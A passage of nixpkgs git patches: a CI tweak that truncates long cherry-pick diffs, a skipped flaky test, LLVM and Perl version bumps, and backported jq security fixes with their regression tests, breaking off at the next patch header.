 .github/workflows/check-cherry-picks.yml |  5 ++++-
 ci/check-cherry-picks.sh                 | 13 ++++++++++++-
 2 files changed, 16 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index b44027e326d2..84ed5604443d 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -49,7 +49,7 @@ jobs:
             const header = await readFile('trusted/ci/check-cherry-picks.md')
             const body = await readFile('checked-cherry-picks.md')
             const footer =
-              `\n_Hint: The diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`
+              `\n_Hint: The full diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`
 
             const review = header + body + footer
             await writeFile('review.md', review)
@@ -79,6 +79,9 @@ jobs:
               )
             )
 
+            // Either of those two requests could fail for very long comments. This can only happen
+            // with multiple commits all hitting the truncation limit for the diff. If you ever hit
+            // this case, consider just splitting up those commits into multiple PRs.
             if (pendingReview) {
               await github.rest.pulls.updateReview({
                 owner: context.repo.owner,
diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index e0b278207875..6036d5a1529a 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -112,7 +112,18 @@ while read -r new_commit_sha ; do
           echo '> ```diff' >> $markdown_file
           # The output of `git range-diff` is indented with 4 spaces, which we need to match with the
           # code blocks indent to get proper syntax highlighting on GitHub.
-          $range_diff_common | tail -n +2 | sed -Ee 's/^ {4}/> /g' >> $markdown_file
+          diff="$($range_diff_common | tail -n +2 | sed -Ee 's/^ {4}/> /g')"
+          # Also limit the output to 10k bytes (and remove the last, potentially incomplete line), because
+          # GitHub comments are limited in length. The value of 10k is arbitrary with the assumption, that
+          # after the range-diff becomes a certain size, a reviewer is better off reviewing the regular diff
+          # in GitHub's UI anyway, thus treating the commit as "new" and not cherry-picked.
+          # Note: This could still lead to a too lengthy comment with multiple commits touching the limit. We
+          # consider this too unlikely to happen, to deal with explicitly.
+          max_length=10000
+          if [ "${#diff}" -gt $max_length ]; then
+            printf -v diff "%s\n\n[...truncated...]" "$(echo "$diff" | head -c $max_length | head -n-1)"
+          fi
+          echo "$diff" >> $markdown_file
           echo '> ```' >> $markdown_file
           echo "> </details>" >> $markdown_file
 

From 76dcb27566126ad1d077318de7a9ed7a25c162ee Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Sat, 31 May 2025 17:44:25 +0900
Subject: [PATCH 0399/4511] radicle-node: disable flaky test

Signed-off-by: misilelab <misileminecord@gmail.com>
(cherry picked from commit 3744e4307280ead7166f35abbd058ecc7fce9287)
---
 pkgs/by-name/ra/radicle-node/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index a9bcb469f4f8..22dab16a679e 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -52,6 +52,7 @@ rustPlatform.buildRustPackage rec {
   checkFlags = [
     "--skip=service::message::tests::test_node_announcement_validate"
     "--skip=tests::test_announcement_relay"
+    "--skip=tests::commands::rad_remote"
     # https://radicle.zulipchat.com/#narrow/stream/369277-heartwood/topic/Flaky.20tests/near/438352360
     "--skip=tests::e2e::test_connection_crossing"
     # https://radicle.zulipchat.com/#narrow/stream/369277-heartwood/topic/Clone.20Partial.20Fail.20Flake

From 99189289b479779e59df8b694b24df153915e2d0 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 18 May 2025 22:14:15 -0700
Subject: [PATCH 0400/4511] llvmPackages_git: 21.0.0-unstable-2025-05-11 ->
 21.0.0-unstable-2025-05-18

(cherry picked from commit 8f55ad257761e92f05f42a4dcb10a31847c41c45)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index e88e419132b1..fa675b23f1e3 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.5".officialRelease.sha256 = "sha256-WKfY+VvAsZEEc0xYgF6+MsXDXZz7haMU6bxqmUpaHuQ=";
     "21.0.0-git".gitRelease = {
-      rev = "5b91756c0ca7ef4d75c33c2617bfd0f9719907dc";
-      rev-version = "21.0.0-unstable-2025-05-11";
-      sha256 = "sha256-5e72pOZO2/hYY7/1Kt0ITtEjJzWwKR58ufCU/9EkdS0=";
+      rev = "3d0c616ce30cdc3d9c26dda8fdc608a6c85f00a6";
+      rev-version = "21.0.0-unstable-2025-05-18";
+      sha256 = "sha256-5tfGng/urJNSqlFy5sxIYsR5brtf2ZlL5tssGD6Oef8=";
     };
   } // llvmVersions;
 

From 4673be81d4bac773021349d6e81dba3488717738 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 25 May 2025 22:17:11 -0700
Subject: [PATCH 0401/4511] llvmPackages_git: 21.0.0-unstable-2025-05-18 ->
 21.0.0-unstable-2025-05-25

(cherry picked from commit c579bdd6d57b214c6b89c46b5b15e22b83ca7f9e)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index fa675b23f1e3..0b04e572e881 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.5".officialRelease.sha256 = "sha256-WKfY+VvAsZEEc0xYgF6+MsXDXZz7haMU6bxqmUpaHuQ=";
     "21.0.0-git".gitRelease = {
-      rev = "3d0c616ce30cdc3d9c26dda8fdc608a6c85f00a6";
-      rev-version = "21.0.0-unstable-2025-05-18";
-      sha256 = "sha256-5tfGng/urJNSqlFy5sxIYsR5brtf2ZlL5tssGD6Oef8=";
+      rev = "0004c37c1cd55c461bbf24b83165d11f49be1397";
+      rev-version = "21.0.0-unstable-2025-05-25";
+      sha256 = "sha256-n8WFnYNb46kK7MEh7XF/Psdbn+KJQFKs/LQBZxCklY4=";
     };
   } // llvmVersions;
 

From 567fc69097b79b4668b49e562ab29312b34eb41e Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sun, 6 Apr 2025 13:26:41 +0200
Subject: [PATCH 0402/4511] perlPackages.SubHandlesVia: 0.050000 -> 0.050002

Fixes CVE-2025-30673.

https://metacpan.org/release/TOBYINK/Sub-HandlesVia-0.050002/source/Changes
(cherry picked from commit ef4115bd06d7dc7d796a5055fdf34339408baa8e)
---
 pkgs/top-level/perl-packages.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index d01571ed3d46..c100df508e7e 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -31838,10 +31838,10 @@ with self;
 
   SubHandlesVia = buildPerlPackage {
     pname = "Sub-HandlesVia";
-    version = "0.050000";
+    version = "0.050002";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/T/TO/TOBYINK/Sub-HandlesVia-0.050000.tar.gz";
-      hash = "sha256-Lfk0k+L56VvleblQtuGf9ST5TIBhOq3AOohhHf91eU8=";
+      url = "mirror://cpan/authors/id/T/TO/TOBYINK/Sub-HandlesVia-0.050002.tar.gz";
+      hash = "sha256-PMWPrjBcCOEZziwz44SHBD5odSE4JkRBw1oxATTrUDg=";
     };
     propagatedBuildInputs = [
       ClassMethodModifiers

From 2b8c4bf0d967e6c7d847c59d1d2f156a658eb39b Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Fri, 30 May 2025 16:39:30 +0200
Subject: [PATCH 0403/4511] jq: backport patches to various CVEs

Fixes the following security issues:
https://nvd.nist.gov/vuln/detail/CVE-2025-48060
https://github.com/advisories/GHSA-8mxc-vqrq-gcm8
https://nvd.nist.gov/vuln/detail/CVE-2024-23337

Fixes needed backporting to apply.
Commits can't be fetched using `fetchpatch`,
because `jq` is part of bootstrap on darwin.

Upstream commits included:
https://github.com/jqlang/jq/commit/a09a4dfd55e6c24d04b35062ccfe4509748b1dd3 (CVE-2024-53427)
https://github.com/jqlang/jq/commit/de21386681c0df0104a99d9d09db23a9b2a78b1e (CVE-2024-23337)
https://github.com/jqlang/jq/commit/dc849e9bb74a7a164a3ea52f661cc712b1ffbd43 (CVE-2025-48060)
https://github.com/jqlang/jq/commit/b86ff49f46a4a37e5a8e75a140cb5fd6e1331384 (needed for the NaN patches to apply)

cherry-picked from 31338fd80b9bdab344bace53c1f6506ab5d1e09d
---
 ...erformance-of-repeating-strings-3272.patch | 118 ++++++++++
 ...lue-should-cache-the-double-value-of.patch |  66 ++++++
 ...-NaN-with-payload-while-parsing-JSON.patch |  75 ++++++
 ...er-overflow-in-jvp_array_write-and-j.patch | 215 ++++++++++++++++++
 pkgs/by-name/jq/jq/package.nix                |  19 ++
 5 files changed, 493 insertions(+)
 create mode 100644 pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
 create mode 100644 pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
 create mode 100644 pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
 create mode 100644 pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch

diff --git a/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch b/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
new file mode 100644
index 000000000000..5112b8c11bd4
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
@@ -0,0 +1,118 @@
+From c15fc903e00fdd3b460e64d5a6a540f944e1eca6 Mon Sep 17 00:00:00 2001
+From: itchyny <itchyny@cybozu.co.jp>
+Date: Tue, 4 Mar 2025 22:13:55 +0900
+Subject: [PATCH 1/4] Improve performance of repeating strings (#3272)
+
+This commit improves the performance of repeating strings, by copying
+the result string instead of the string being repeated. Also it adds
+an error message when the result string is too long.
+---
+ src/builtin.c | 15 ++-------------
+ src/jv.c      | 26 ++++++++++++++++++++++++++
+ src/jv.h      |  1 +
+ tests/jq.test | 12 ++++++++++++
+ 4 files changed, 41 insertions(+), 13 deletions(-)
+
+diff --git a/src/builtin.c b/src/builtin.c
+index 902490d..abb99f4 100644
+--- a/src/builtin.c
++++ b/src/builtin.c
+@@ -369,21 +369,10 @@ jv binop_multiply(jv a, jv b) {
+       str = b;
+       num = a;
+     }
+-    jv res;
+     double d = jv_number_value(num);
+-    if (d < 0 || isnan(d)) {
+-      res = jv_null();
+-    } else {
+-      int n = d;
+-      size_t alen = jv_string_length_bytes(jv_copy(str));
+-      res = jv_string_empty(alen * n);
+-      for (; n > 0; n--) {
+-        res = jv_string_append_buf(res, jv_string_value(str), alen);
+-      }
+-    }
+-    jv_free(str);
+     jv_free(num);
+-    return res;
++    return jv_string_repeat(str,
++        d < 0 || isnan(d) ? -1 : d > INT_MAX ? INT_MAX : (int)d);
+   } else if (ak == JV_KIND_OBJECT && bk == JV_KIND_OBJECT) {
+     return jv_object_merge_recursive(a, b);
+   } else {
+diff --git a/src/jv.c b/src/jv.c
+index e23d8ec..e0478c8 100644
+--- a/src/jv.c
++++ b/src/jv.c
+@@ -1291,6 +1291,32 @@ jv jv_string_indexes(jv j, jv k) {
+   return a;
+ }
+ 
++jv jv_string_repeat(jv j, int n) {
++  assert(JVP_HAS_KIND(j, JV_KIND_STRING));
++  if (n < 0) {
++    jv_free(j);
++    return jv_null();
++  }
++  int len = jv_string_length_bytes(jv_copy(j));
++  int64_t res_len = (int64_t)len * n;
++  if (res_len >= INT_MAX) {
++    jv_free(j);
++    return jv_invalid_with_msg(jv_string("Repeat string result too long"));
++  }
++  if (res_len == 0) {
++    jv_free(j);
++    return jv_string("");
++  }
++  jv res = jv_string_empty(res_len);
++  res = jvp_string_append(res, jv_string_value(j), len);
++  for (int curr = len, grow; curr < res_len; curr += grow) {
++    grow = MIN(res_len - curr, curr);
++    res = jvp_string_append(res, jv_string_value(res), grow);
++  }
++  jv_free(j);
++  return res;
++}
++
+ jv jv_string_split(jv j, jv sep) {
+   assert(JVP_HAS_KIND(j, JV_KIND_STRING));
+   assert(JVP_HAS_KIND(sep, JV_KIND_STRING));
+diff --git a/src/jv.h b/src/jv.h
+index 083509e..a9b13ae 100644
+--- a/src/jv.h
++++ b/src/jv.h
+@@ -131,6 +131,7 @@ jv jv_string_fmt(const char*, ...) JV_PRINTF_LIKE(1, 2);
+ jv jv_string_append_codepoint(jv a, uint32_t c);
+ jv jv_string_append_buf(jv a, const char* buf, int len);
+ jv jv_string_append_str(jv a, const char* str);
++jv jv_string_repeat(jv j, int n);
+ jv jv_string_split(jv j, jv sep);
+ jv jv_string_explode(jv j);
+ jv jv_string_implode(jv j);
+diff --git a/tests/jq.test b/tests/jq.test
+index 7036df2..e82cf84 100644
+--- a/tests/jq.test
++++ b/tests/jq.test
+@@ -1365,6 +1365,18 @@ indices(", ")
+ "abc"
+ [null,null]
+ 
++. * 100000 | [.[:10],.[-10:]]
++"abc"
++["abcabcabca","cabcabcabc"]
++
++. * 1000000000
++""
++""
++
++try (. * 1000000000) catch .
++"abc"
++"Repeat string result too long"
++
+ [.[] / ","]
+ ["a, bc, def, ghij, jklmn, a,b, c,d, e,f", "a,b,c,d, e,f,g,h"]
+ [["a"," bc"," def"," ghij"," jklmn"," a","b"," c","d"," e","f"],["a","b","c","d"," e","f","g","h"]]
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch b/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
new file mode 100644
index 000000000000..a493751bedbe
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
@@ -0,0 +1,66 @@
+From df0ddb83feb656230157f5bc9b7f34caef1f82be Mon Sep 17 00:00:00 2001
+From: itchyny <itchyny@cybozu.co.jp>
+Date: Sun, 16 Feb 2025 22:08:36 +0900
+Subject: [PATCH 2/4] fix: `jv_number_value` should cache the double value of
+ literal numbers (#3245)
+
+The code of `jv_number_value` is intended to cache the double value of
+literal numbers, but it does not work because it accepts the `jv` struct
+by value. This patch fixes the behavior by checking if the double value
+is `NaN`, which indicates the unconverted value. This patch improves the
+performance of major use cases; e.g. `range(1000000)` runs 25% faster.
+---
+ src/jv.c | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/src/jv.c b/src/jv.c
+index e0478c8..418d57d 100644
+--- a/src/jv.c
++++ b/src/jv.c
+@@ -206,9 +206,6 @@ enum {
+   JVP_NUMBER_DECIMAL = 1
+ };
+ 
+-#define JV_NUMBER_SIZE_INIT      (0)
+-#define JV_NUMBER_SIZE_CONVERTED (1)
+-
+ #define JVP_FLAGS_NUMBER_NATIVE       JVP_MAKE_FLAGS(JV_KIND_NUMBER, JVP_MAKE_PFLAGS(JVP_NUMBER_NATIVE, 0))
+ #define JVP_FLAGS_NUMBER_LITERAL      JVP_MAKE_FLAGS(JV_KIND_NUMBER, JVP_MAKE_PFLAGS(JVP_NUMBER_DECIMAL, 1))
+ 
+@@ -589,8 +586,12 @@ static jv jvp_literal_number_new(const char * literal) {
+     jv_mem_free(n);
+     return JV_INVALID;
+   }
++  if (decNumberIsNaN(&n->num_decimal)) {
++    jv_mem_free(n);
++    return jv_number(NAN);
++  }
+ 
+-  jv r = {JVP_FLAGS_NUMBER_LITERAL, 0, 0, JV_NUMBER_SIZE_INIT, {&n->refcnt}};
++  jv r = {JVP_FLAGS_NUMBER_LITERAL, 0, 0, 0, {&n->refcnt}};
+   return r;
+ }
+ 
+@@ -698,9 +699,8 @@ double jv_number_value(jv j) {
+   if (JVP_HAS_FLAGS(j, JVP_FLAGS_NUMBER_LITERAL)) {
+     jvp_literal_number* n = jvp_literal_number_ptr(j);
+ 
+-    if (j.size != JV_NUMBER_SIZE_CONVERTED) {
++    if (isnan(n->num_double)) {
+       n->num_double = jvp_literal_number_to_double(j);
+-      j.size = JV_NUMBER_SIZE_CONVERTED;
+     }
+ 
+     return n->num_double;
+@@ -731,7 +731,7 @@ int jvp_number_is_nan(jv n) {
+     return decNumberIsNaN(pdec);
+   }
+ #endif
+-  return n.u.number != n.u.number;
++  return isnan(n.u.number);
+ }
+ 
+ int jvp_number_cmp(jv a, jv b) {
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch b/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
new file mode 100644
index 000000000000..985301d8ab26
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
@@ -0,0 +1,75 @@
+From dfd25612454deacb6df47329787844795bf59821 Mon Sep 17 00:00:00 2001
+From: itchyny <itchyny@cybozu.co.jp>
+Date: Wed, 5 Mar 2025 07:43:54 +0900
+Subject: [PATCH 3/4] Reject NaN with payload while parsing JSON
+
+This commit drops support for parsing NaN with payload in JSON like
+`NaN123` and fixes CVE-2024-53427. Other JSON extensions like `NaN` and
+`Infinity` are still supported. Fixes #3023, fixes #3196, fixes #3246.
+---
+ src/jv.c      |  5 +++++
+ tests/jq.test | 14 ++++++++++----
+ tests/shtest  |  5 -----
+ 3 files changed, 15 insertions(+), 9 deletions(-)
+
+diff --git a/src/jv.c b/src/jv.c
+index 418d57d..6147775 100644
+--- a/src/jv.c
++++ b/src/jv.c
+@@ -587,6 +587,11 @@ static jv jvp_literal_number_new(const char * literal) {
+     return JV_INVALID;
+   }
+   if (decNumberIsNaN(&n->num_decimal)) {
++    // Reject NaN with payload.
++    if (n->num_decimal.digits > 1 || *n->num_decimal.lsu != 0) {
++      jv_mem_free(n);
++      return JV_INVALID;
++    }
+     jv_mem_free(n);
+     return jv_number(NAN);
+   }
+diff --git a/tests/jq.test b/tests/jq.test
+index e82cf84..97835f2 100644
+--- a/tests/jq.test
++++ b/tests/jq.test
+@@ -1950,11 +1950,17 @@ tojson | fromjson
+ {"a":nan}
+ {"a":null}
+ 
+-# also "nan with payload" #2985
+-fromjson | isnan
+-"nan1234"
++# NaN with payload is not parsed
++.[] | try (fromjson | isnan) catch .
++["NaN","-NaN","NaN1","NaN10","NaN100","NaN1000","NaN10000","NaN100000"]
+ true
+-
++true
++"Invalid numeric literal at EOF at line 1, column 4 (while parsing 'NaN1')"
++"Invalid numeric literal at EOF at line 1, column 5 (while parsing 'NaN10')"
++"Invalid numeric literal at EOF at line 1, column 6 (while parsing 'NaN100')"
++"Invalid numeric literal at EOF at line 1, column 7 (while parsing 'NaN1000')"
++"Invalid numeric literal at EOF at line 1, column 8 (while parsing 'NaN10000')"
++"Invalid numeric literal at EOF at line 1, column 9 (while parsing 'NaN100000')"
+ 
+ # calling input/0, or debug/0 in a test doesn't crash jq
+ 
+diff --git a/tests/shtest b/tests/shtest
+index 14aafbf..a471889 100755
+--- a/tests/shtest
++++ b/tests/shtest
+@@ -594,11 +594,6 @@ if ! x=$($JQ -n "1 # foo$cr + 2") || [ "$x" != 1 ]; then
+   exit 1
+ fi
+ 
+-# CVE-2023-50268: No stack overflow comparing a nan with a large payload
+-$VALGRIND $Q $JQ '1 != .' <<\EOF >/dev/null
+-Nan4000
+-EOF
+-
+ # Allow passing the inline jq script before -- #2919
+ if ! r=$($JQ --args -rn -- '$ARGS.positional[0]' bar) || [ "$r" != bar ]; then
+     echo "passing the inline script after -- didn't work"
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch b/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
new file mode 100644
index 000000000000..313eea14e05d
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
@@ -0,0 +1,215 @@
+From dc65d5af447f266d8a4037551e028785aab31e04 Mon Sep 17 00:00:00 2001
+From: itchyny <itchyny@cybozu.co.jp>
+Date: Wed, 21 May 2025 07:45:00 +0900
+Subject: [PATCH 4/4] Fix signed integer overflow in jvp_array_write and
+ jvp_object_rehash
+
+This commit fixes signed integer overflow and SEGV issues on growing
+arrays and objects. The size of arrays and objects is now limited to
+`536870912` (`0x20000000`). This fixes CVE-2024-23337 and fixes #3262.
+---
+ src/jv.c      | 45 ++++++++++++++++++++++++++++++++++++---------
+ src/jv_aux.c  |  9 +++++----
+ tests/jq.test |  4 ++++
+ 3 files changed, 45 insertions(+), 13 deletions(-)
+
+diff --git a/src/jv.c b/src/jv.c
+index 6147775..6e8cdd3 100644
+--- a/src/jv.c
++++ b/src/jv.c
+@@ -997,6 +997,11 @@ jv jv_array_set(jv j, int idx, jv val) {
+     jv_free(val);
+     return jv_invalid_with_msg(jv_string("Out of bounds negative array index"));
+   }
++  if (idx > (INT_MAX >> 2) - jvp_array_offset(j)) {
++    jv_free(j);
++    jv_free(val);
++    return jv_invalid_with_msg(jv_string("Array index too large"));
++  }
+   // copy/free of val,j coalesced
+   jv* slot = jvp_array_write(&j, idx);
+   jv_free(*slot);
+@@ -1016,6 +1021,7 @@ jv jv_array_concat(jv a, jv b) {
+   // FIXME: could be faster
+   jv_array_foreach(b, i, elem) {
+     a = jv_array_append(a, elem);
++    if (!jv_is_valid(a)) break;
+   }
+   jv_free(b);
+   return a;
+@@ -1288,6 +1294,7 @@ jv jv_string_indexes(jv j, jv k) {
+     p = jstr;
+     while ((p = _jq_memmem(p, (jstr + jlen) - p, idxstr, idxlen)) != NULL) {
+       a = jv_array_append(a, jv_number(p - jstr));
++      if (!jv_is_valid(a)) break;
+       p++;
+     }
+   }
+@@ -1336,14 +1343,17 @@ jv jv_string_split(jv j, jv sep) {
+ 
+   if (seplen == 0) {
+     int c;
+-    while ((jstr = jvp_utf8_next(jstr, jend, &c)))
++    while ((jstr = jvp_utf8_next(jstr, jend, &c))) {
+       a = jv_array_append(a, jv_string_append_codepoint(jv_string(""), c));
++      if (!jv_is_valid(a)) break;
++    }
+   } else {
+     for (p = jstr; p < jend; p = s + seplen) {
+       s = _jq_memmem(p, jend - p, sepstr, seplen);
+       if (s == NULL)
+         s = jend;
+       a = jv_array_append(a, jv_string_sized(p, s - p));
++      if (!jv_is_valid(a)) break;
+       // Add an empty string to denote that j ends on a sep
+       if (s + seplen == jend && seplen != 0)
+         a = jv_array_append(a, jv_string(""));
+@@ -1361,8 +1371,10 @@ jv jv_string_explode(jv j) {
+   const char* end = i + len;
+   jv a = jv_array_sized(len);
+   int c;
+-  while ((i = jvp_utf8_next(i, end, &c)))
++  while ((i = jvp_utf8_next(i, end, &c))) {
+     a = jv_array_append(a, jv_number(c));
++    if (!jv_is_valid(a)) break;
++  }
+   jv_free(j);
+   return a;
+ }
+@@ -1636,10 +1648,13 @@ static void jvp_object_free(jv o) {
+   }
+ }
+ 
+-static jv jvp_object_rehash(jv object) {
++static int jvp_object_rehash(jv *objectp) {
++  jv object = *objectp;
+   assert(JVP_HAS_KIND(object, JV_KIND_OBJECT));
+   assert(jvp_refcnt_unshared(object.u.ptr));
+   int size = jvp_object_size(object);
++  if (size > INT_MAX >> 2)
++    return 0;
+   jv new_object = jvp_object_new(size * 2);
+   for (int i=0; i<size; i++) {
+     struct object_slot* slot = jvp_object_get_slot(object, i);
+@@ -1652,7 +1667,8 @@ static jv jvp_object_rehash(jv object) {
+   }
+   // references are transported, just drop the old table
+   jv_mem_free(jvp_object_ptr(object));
+-  return new_object;
++  *objectp = new_object;
++  return 1;
+ }
+ 
+ static jv jvp_object_unshare(jv object) {
+@@ -1681,27 +1697,32 @@ static jv jvp_object_unshare(jv object) {
+   return new_object;
+ }
+ 
+-static jv* jvp_object_write(jv* object, jv key) {
++static int jvp_object_write(jv* object, jv key, jv **valpp) {
+   *object = jvp_object_unshare(*object);
+   int* bucket = jvp_object_find_bucket(*object, key);
+   struct object_slot* slot = jvp_object_find_slot(*object, key, bucket);
+   if (slot) {
+     // already has the key
+     jvp_string_free(key);
+-    return &slot->value;
++    *valpp = &slot->value;
++    return 1;
+   }
+   slot = jvp_object_add_slot(*object, key, bucket);
+   if (slot) {
+     slot->value = jv_invalid();
+   } else {
+-    *object = jvp_object_rehash(*object);
++    if (!jvp_object_rehash(object)) {
++      *valpp = NULL;
++      return 0;
++    }
+     bucket = jvp_object_find_bucket(*object, key);
+     assert(!jvp_object_find_slot(*object, key, bucket));
+     slot = jvp_object_add_slot(*object, key, bucket);
+     assert(slot);
+     slot->value = jv_invalid();
+   }
+-  return &slot->value;
++  *valpp = &slot->value;
++  return 1;
+ }
+ 
+ static int jvp_object_delete(jv* object, jv key) {
+@@ -1801,7 +1822,11 @@ jv jv_object_set(jv object, jv key, jv value) {
+   assert(JVP_HAS_KIND(object, JV_KIND_OBJECT));
+   assert(JVP_HAS_KIND(key, JV_KIND_STRING));
+   // copy/free of object, key, value coalesced
+-  jv* slot = jvp_object_write(&object, key);
++  jv* slot;
++  if (!jvp_object_write(&object, key, &slot)) {
++    jv_free(object);
++    return jv_invalid_with_msg(jv_string("Object too big"));
++  }
+   jv_free(*slot);
+   *slot = value;
+   return object;
+@@ -1826,6 +1851,7 @@ jv jv_object_merge(jv a, jv b) {
+   assert(JVP_HAS_KIND(a, JV_KIND_OBJECT));
+   jv_object_foreach(b, k, v) {
+     a = jv_object_set(a, k, v);
++    if (!jv_is_valid(a)) break;
+   }
+   jv_free(b);
+   return a;
+@@ -1845,6 +1871,7 @@ jv jv_object_merge_recursive(jv a, jv b) {
+       jv_free(elem);
+       a = jv_object_set(a, k, v);
+     }
++    if (!jv_is_valid(a)) break;
+   }
+   jv_free(b);
+   return a;
+diff --git a/src/jv_aux.c b/src/jv_aux.c
+index 6004799..bbe1c0d 100644
+--- a/src/jv_aux.c
++++ b/src/jv_aux.c
+@@ -193,18 +193,19 @@ jv jv_set(jv t, jv k, jv v) {
+         if (slice_len < insert_len) {
+           // array is growing
+           int shift = insert_len - slice_len;
+-          for (int i = array_len - 1; i >= end; i--) {
++          for (int i = array_len - 1; i >= end && jv_is_valid(t); i--) {
+             t = jv_array_set(t, i + shift, jv_array_get(jv_copy(t), i));
+           }
+         } else if (slice_len > insert_len) {
+           // array is shrinking
+           int shift = slice_len - insert_len;
+-          for (int i = end; i < array_len; i++) {
++          for (int i = end; i < array_len && jv_is_valid(t); i++) {
+             t = jv_array_set(t, i - shift, jv_array_get(jv_copy(t), i));
+           }
+-          t = jv_array_slice(t, 0, array_len - shift);
++          if (jv_is_valid(t))
++            t = jv_array_slice(t, 0, array_len - shift);
+         }
+-        for (int i=0; i < insert_len; i++) {
++        for (int i = 0; i < insert_len && jv_is_valid(t); i++) {
+           t = jv_array_set(t, start + i, jv_array_get(jv_copy(v), i));
+         }
+         jv_free(v);
+diff --git a/tests/jq.test b/tests/jq.test
+index 97835f2..10b20e3 100644
+--- a/tests/jq.test
++++ b/tests/jq.test
+@@ -198,6 +198,10 @@ null
+ [0,1,2]
+ [0,5,2]
+ 
++try (.[999999999] = 0) catch .
++null
++"Array index too large"
++
+ #
+ # Multiple outputs, iteration
+ #
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/jq/jq/package.nix b/pkgs/by-name/jq/jq/package.nix
index 3d8adb3e7829..a0e2b25552e8 100644
--- a/pkgs/by-name/jq/jq/package.nix
+++ b/pkgs/by-name/jq/jq/package.nix
@@ -27,6 +27,25 @@ stdenv.mkDerivation rec {
     "out"
   ];
 
+  patches = [
+    # can't fetchpatch because jq is in bootstrap for darwin
+    # CVE-2025-48060
+    # https://github.com/jqlang/jq/commit/dc849e9bb74a7a164a3ea52f661cc712b1ffbd43
+    ./0001-Improve-performance-of-repeating-strings-3272.patch
+
+    # needed for the other patches to apply correctly
+    # https://github.com/jqlang/jq/commit/b86ff49f46a4a37e5a8e75a140cb5fd6e1331384
+    ./0002-fix-jv_number_value-should-cache-the-double-value-of.patch
+
+    # CVE-2024-53427
+    # https://github.com/jqlang/jq/commit/a09a4dfd55e6c24d04b35062ccfe4509748b1dd3
+    ./0003-Reject-NaN-with-payload-while-parsing-JSON.patch
+
+    # CVE-2024-23337
+    # https://github.com/jqlang/jq/commit/de21386681c0df0104a99d9d09db23a9b2a78b1e
+    ./0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
+  ];
+
   # https://github.com/jqlang/jq/issues/2871
   postPatch = lib.optionalString stdenv.hostPlatform.isFreeBSD ''
     substituteInPlace Makefile.am --replace-fail "tests/mantest" "" --replace-fail "tests/optionaltest" ""

From 1a0f1dcbc21449926e22e9b2e4e571b8f2ed0a9e Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Sat, 31 May 2025 09:35:36 +0200
Subject: [PATCH 0404/4511] jq: *actually* fix CVE-2025-48060

see https://github.com/jqlang/jq/issues/3327#issuecomment-2924552289

